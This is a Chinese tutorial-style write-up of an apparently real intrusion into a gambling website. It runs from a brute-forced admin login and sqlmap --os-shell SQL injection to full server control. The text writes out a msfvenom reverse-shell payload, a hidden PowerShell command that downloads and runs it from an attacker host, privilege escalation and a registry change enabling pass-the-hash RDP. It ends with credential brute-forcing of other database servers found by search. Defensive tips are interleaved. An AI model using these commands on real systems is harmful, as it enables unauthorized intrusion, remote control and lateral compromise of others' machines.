某菠菜的测试笔记
字数 1201 2025-08-24 16:48:15
菠菜网站渗透测试实战教学文档
1. 前言
本教学文档基于某菠菜网站的渗透测试实战案例,详细记录了从弱口令爆破到最终获取系统权限的全过程。测试环境为Windows Server 2012系统,使用MSSQL数据库。
2. 弱口令爆破
2.1 测试过程
- 目标网站为简单的登录页面,无验证码保护
- 使用Burp Suite进行爆破
- 成功爆破出管理员账号:
admin/123456
2.2 防御建议
- 强制使用复杂密码策略
- 增加验证码机制
- 限制登录失败次数
3. SQL注入漏洞利用
3.1 漏洞发现
- 在
GroupMember.aspx页面发现注入点:http://url/GroupMember.aspx?gid= - 参数
gid添加单引号后报错,确认存在SQL注入
3.2 SQLMAP利用
sqlmap -u "http://url/GroupMember.aspx?gid=1" --os-shell
- 确认数据库类型为MSSQL
- 当前用户为DBA权限
3.3 防御建议
- 使用参数化查询
- 实施最小权限原则
- 过滤特殊字符
4. 权限提升与后渗透
4.1 Meterpreter会话建立
- 生成PowerShell payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8888 -f psh-reflection > xx.ps1
-
将payload上传至网站目录
-
目标机器执行:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/xx.ps1'))"
- 绕过单引号限制的方法:
- 使用编码工具(如https://r0yanx.com/tools/java_exec_encode/)对payload进行编码
4.2 权限提升
- 直接使用
getsystem命令获取SYSTEM权限 - 备用方案:使用土豆家族提权工具(适用于多种Windows版本)
4.3 进程迁移
- 使用
migrate命令迁移到稳定进程 - 防止会话因进程终止而丢失
5. 远程桌面控制
5.1 修改管理员密码
- 由于是Windows 2012系统,无法获取明文密码
- 直接修改Administrator密码(不推荐生产环境使用)
5.2 使用NTLM Hash远程登录
- 开启Restricted Admin Mode:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
- 验证设置:
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
(返回0x0表示已开启)
- 使用Hash远程登录RDP
6. 横向移动
6.1 数据库服务器发现
- 通过FOFA搜索同类型资产
- 发现多个开放1433端口的服务器
6.2 数据库爆破
- 使用已获取的凭证尝试爆破其他数据库
- 成功获取多台SA权限的数据库服务器
7. 防御加固建议
-
认证安全
- 强制复杂密码策略
- 实施多因素认证
- 限制登录尝试次数
-
注入防护
- 使用参数化查询或ORM框架
- 实施WAF防护
- 定期安全审计
-
权限控制
- 遵循最小权限原则
- 禁用不必要的系统账户
- 限制远程桌面访问
-
系统加固
- 禁用Restricted Admin Mode
- 定期更新补丁
- 启用日志审计
-
网络防护
- 限制数据库端口访问
- 实施网络分段
- 监控异常连接
8. 总结
本案例展示了从弱口令爆破到最终获取系统控制权的完整渗透流程,涉及SQL注入、权限提升、横向移动等多个攻击面。防御方应重视基础安全配置,定期进行安全审计,建立纵深防御体系。